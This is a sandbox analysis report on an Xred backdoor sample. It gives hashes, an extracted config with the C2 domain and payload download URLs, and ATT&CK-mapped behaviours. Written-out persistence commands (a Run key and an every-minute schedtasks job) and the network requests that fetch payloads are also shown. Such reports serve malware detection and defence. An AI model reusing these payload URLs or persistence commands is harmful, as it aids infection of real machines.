xred | 71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1

Analysis

max time kernel
150s
max time network
146s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
31/12/2024, 02:34 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
Size

1.6MB
MD5

27bcc0d927e9f13250b1dff9e122e9af
SHA1

2f9f09f46fe7ee2a495247292b3f2be0777c2873
SHA256

71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1
SHA512

1bdf5d3ba61b8d99955b92b87377fcbea08db248aae1089a9028a0613eb06c43e330bd781edf66ec955b1042c811094207b8962e391b37fc516a4b93664c7653
SSDEEP

49152:cnsHyjtk2MYC5GDchloJf5fj22pkXaxMa:cnsmtk2alhlyLZ

Score

10^/10

xred backdoor discovery macro persistence upx

Malware Config

Extracted

Family

xred

xred.mooo.com

Attributes

email
xredline1@gmail.com
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

http://xred.site50.net/syn/SUpdate.ini

https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

http://xred.site50.net/syn/Synaptics.rar

https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

http://xred.site50.net/syn/SSLLibrary.dll

Signatures

Xred
Xred is backdoor written in Delphi.
backdoor xred
Xred family
xred

Suspicious Office macro 2 IoCs

Office document equipped with macros.

macro

resource
behavioral1/files/0x000600000001961e-99.dat
behavioral1/files/0x00060000000196a1-123.dat

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MHDFGY.lnk	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe

Executes dropped EXE 5 IoCs

pid	Process
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2720	Synaptics.exe
2768	._cache_Synaptics.exe
2528	KQNALS.exe
2940	KQNALS.exe

Loads dropped DLL 6 IoCs

pid	Process
2136	71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2136	71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2136	71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2720	Synaptics.exe
2720	Synaptics.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\MHDFGY = "\"C:\\Users\\Admin\\AppData\\Roaming\\Windata\\KQNALS.exe\""	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe

AutoIT Executable 11 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/memory/2768-49-0x0000000000C90000-0x0000000000E7E000-memory.dmp	autoit_exe
behavioral1/memory/2384-131-0x0000000000840000-0x0000000000A2E000-memory.dmp	autoit_exe
behavioral1/memory/2384-133-0x0000000000840000-0x0000000000A2E000-memory.dmp	autoit_exe
behavioral1/memory/2384-140-0x0000000000840000-0x0000000000A2E000-memory.dmp	autoit_exe
behavioral1/memory/2528-144-0x00000000001E0000-0x00000000003CE000-memory.dmp	autoit_exe
behavioral1/memory/2528-145-0x00000000001E0000-0x00000000003CE000-memory.dmp	autoit_exe
behavioral1/memory/2384-178-0x0000000000840000-0x0000000000A2E000-memory.dmp	autoit_exe
behavioral1/memory/2384-180-0x0000000000840000-0x0000000000A2E000-memory.dmp	autoit_exe
behavioral1/memory/2384-184-0x0000000000840000-0x0000000000A2E000-memory.dmp	autoit_exe
behavioral1/memory/2940-189-0x0000000000E40000-0x000000000102E000-memory.dmp	autoit_exe
behavioral1/memory/2384-194-0x0000000000840000-0x0000000000A2E000-memory.dmp	autoit_exe

UPX packed file 15 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000a0000000122d0-4.dat	upx
behavioral1/memory/2384-18-0x0000000000840000-0x0000000000A2E000-memory.dmp	upx
behavioral1/memory/2768-41-0x0000000000C90000-0x0000000000E7E000-memory.dmp	upx
behavioral1/memory/2768-49-0x0000000000C90000-0x0000000000E7E000-memory.dmp	upx
behavioral1/memory/2384-131-0x0000000000840000-0x0000000000A2E000-memory.dmp	upx
behavioral1/memory/2384-133-0x0000000000840000-0x0000000000A2E000-memory.dmp	upx
behavioral1/memory/2384-140-0x0000000000840000-0x0000000000A2E000-memory.dmp	upx
behavioral1/memory/2528-144-0x00000000001E0000-0x00000000003CE000-memory.dmp	upx
behavioral1/memory/2528-145-0x00000000001E0000-0x00000000003CE000-memory.dmp	upx
behavioral1/memory/2384-178-0x0000000000840000-0x0000000000A2E000-memory.dmp	upx
behavioral1/memory/2384-180-0x0000000000840000-0x0000000000A2E000-memory.dmp	upx
behavioral1/memory/2384-184-0x0000000000840000-0x0000000000A2E000-memory.dmp	upx
behavioral1/memory/2940-187-0x0000000000E40000-0x000000000102E000-memory.dmp	upx
behavioral1/memory/2940-189-0x0000000000E40000-0x000000000102E000-memory.dmp	upx
behavioral1/memory/2384-194-0x0000000000840000-0x0000000000A2E000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WSCript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KQNALS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KQNALS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\winmgmts:\localhost\root\SecurityCenter2	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1688	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2788	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2788	EXCEL.EXE

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 2136 wrote to memory of 2384	2136	71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	30
PID 2136 wrote to memory of 2384	2136	71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	30
PID 2136 wrote to memory of 2384	2136	71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	30
PID 2136 wrote to memory of 2384	2136	71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	30
PID 2136 wrote to memory of 2720	2136	71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	31
PID 2136 wrote to memory of 2720	2136	71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	31
PID 2136 wrote to memory of 2720	2136	71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	31
PID 2136 wrote to memory of 2720	2136	71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	31
PID 2720 wrote to memory of 2768	2720	Synaptics.exe	32
PID 2720 wrote to memory of 2768	2720	Synaptics.exe	32
PID 2720 wrote to memory of 2768	2720	Synaptics.exe	32
PID 2720 wrote to memory of 2768	2720	Synaptics.exe	32
PID 2384 wrote to memory of 1444	2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	34
PID 2384 wrote to memory of 1444	2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	34
PID 2384 wrote to memory of 1444	2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	34
PID 2384 wrote to memory of 1444	2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	34
PID 2384 wrote to memory of 2656	2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	36
PID 2384 wrote to memory of 2656	2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	36
PID 2384 wrote to memory of 2656	2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	36
PID 2384 wrote to memory of 2656	2384	._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe	36
PID 1444 wrote to memory of 1688	1444	cmd.exe	37
PID 1444 wrote to memory of 1688	1444	cmd.exe	37
PID 1444 wrote to memory of 1688	1444	cmd.exe	37
PID 1444 wrote to memory of 1688	1444	cmd.exe	37
PID 1308 wrote to memory of 2528	1308	taskeng.exe	43
PID 1308 wrote to memory of 2528	1308	taskeng.exe	43
PID 1308 wrote to memory of 2528	1308	taskeng.exe	43
PID 1308 wrote to memory of 2528	1308	taskeng.exe	43
PID 1308 wrote to memory of 2940	1308	taskeng.exe	44
PID 1308 wrote to memory of 2940	1308	taskeng.exe	44
PID 1308 wrote to memory of 2940	1308	taskeng.exe	44
PID 1308 wrote to memory of 2940	1308	taskeng.exe	44

C:\Users\Admin\AppData\Local\Temp\71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
"C:\Users\Admin\AppData\Local\Temp\71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Users\Admin\AppData\Local\Temp\._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
  "C:\Users\Admin\AppData\Local\Temp\._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn MHDFGY.exe /tr C:\Users\Admin\AppData\Roaming\Windata\KQNALS.exe /sc minute /mo 1
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1444
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn MHDFGY.exe /tr C:\Users\Admin\AppData\Roaming\Windata\KQNALS.exe /sc minute /mo 1
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1688
- - C:\Windows\SysWOW64\WSCript.exe
    WSCript C:\Users\Admin\AppData\Local\Temp\MHDFGY.vbs
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2656
- C:\ProgramData\Synaptics\Synaptics.exe
  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
    "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2768

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2788

C:\Windows\system32\taskeng.exe
taskeng.exe {0D044ABB-7187-41C3-965A-74A40DFEA217} S-1-5-21-2703099537-420551529-3771253338-1000:XECUDNCD\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1308
- C:\Users\Admin\AppData\Roaming\Windata\KQNALS.exe
  C:\Users\Admin\AppData\Roaming\Windata\KQNALS.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2528
- C:\Users\Admin\AppData\Roaming\Windata\KQNALS.exe
  C:\Users\Admin\AppData\Roaming\Windata\KQNALS.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2940

Network

DNS

xred.mooo.com

Synaptics.exe

Remote address:

8.8.8.8:53

Request

xred.mooo.com

IN A

Response
DNS

freedns.afraid.org

Synaptics.exe

Remote address:

8.8.8.8:53

Request

freedns.afraid.org

IN A

Response

freedns.afraid.org

IN A

69.42.215.252
GET

http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Synaptics.exe

Remote address:

69.42.215.252:80

Request

GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1
User-Agent: MyApp
Host: freedns.afraid.org
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Date: Tue, 31 Dec 2024 02:34:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Cache: MISS
DNS

docs.google.com

Synaptics.exe

Remote address:

8.8.8.8:53

Request

docs.google.com

IN A

Response

docs.google.com

IN A

216.58.214.174
GET

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

216.58.214.174:443

Request

GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Host: docs.google.com
Cache-Control: no-cache

Response

HTTP/1.1 303 See Other

Content-Type: application/binary
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Tue, 31 Dec 2024 02:35:19 GMT
Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Strict-Transport-Security: max-age=31536000
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Content-Security-Policy: script-src 'report-sample' 'nonce-G8NDTNXLElT7pKj1nlxlAw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Cross-Origin-Opener-Policy: same-origin
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
Server: ESF
Content-Length: 0
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
GET

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

216.58.214.174:443

Request

GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Host: docs.google.com
Cache-Control: no-cache
Cookie: NID=520=Wjug36hbPzv8XLExjBSHAdBwYsEfecKyGf9fCR_xNVL7RM2TxtsoMp8iG4TWIsiFPhyqq5c7q9Ka9YUoDC-um1DkyCWLZ5nj28p6k_vUFeSu0nQeB-s85dDHem7GA1T5XAA0KVQAXgvkoPYkLMwebZUm2eJ0GGCtQAYSdsHni1wkhV6H

Response

HTTP/1.1 303 See Other

Content-Type: application/binary
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Tue, 31 Dec 2024 02:35:20 GMT
Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Strict-Transport-Security: max-age=31536000
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Content-Security-Policy: script-src 'report-sample' 'nonce-f1sx_WG4uMd68CGgXixk2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
Cross-Origin-Opener-Policy: same-origin
Server: ESF
Content-Length: 0
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
GET

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

216.58.214.174:443

Request

GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Host: docs.google.com
Cache-Control: no-cache
Cookie: NID=520=Wjug36hbPzv8XLExjBSHAdBwYsEfecKyGf9fCR_xNVL7RM2TxtsoMp8iG4TWIsiFPhyqq5c7q9Ka9YUoDC-um1DkyCWLZ5nj28p6k_vUFeSu0nQeB-s85dDHem7GA1T5XAA0KVQAXgvkoPYkLMwebZUm2eJ0GGCtQAYSdsHni1wkhV6H

Response

HTTP/1.1 303 See Other

Content-Type: application/binary
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Tue, 31 Dec 2024 02:35:20 GMT
Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Strict-Transport-Security: max-age=31536000
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Content-Security-Policy: script-src 'report-sample' 'nonce-5C_fLgQulMr83VWp9SM4xA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Cross-Origin-Opener-Policy: same-origin
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
Server: ESF
Content-Length: 0
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
DNS

c.pki.goog

Synaptics.exe

Remote address:

8.8.8.8:53

Request

c.pki.goog

IN A

Response

c.pki.goog

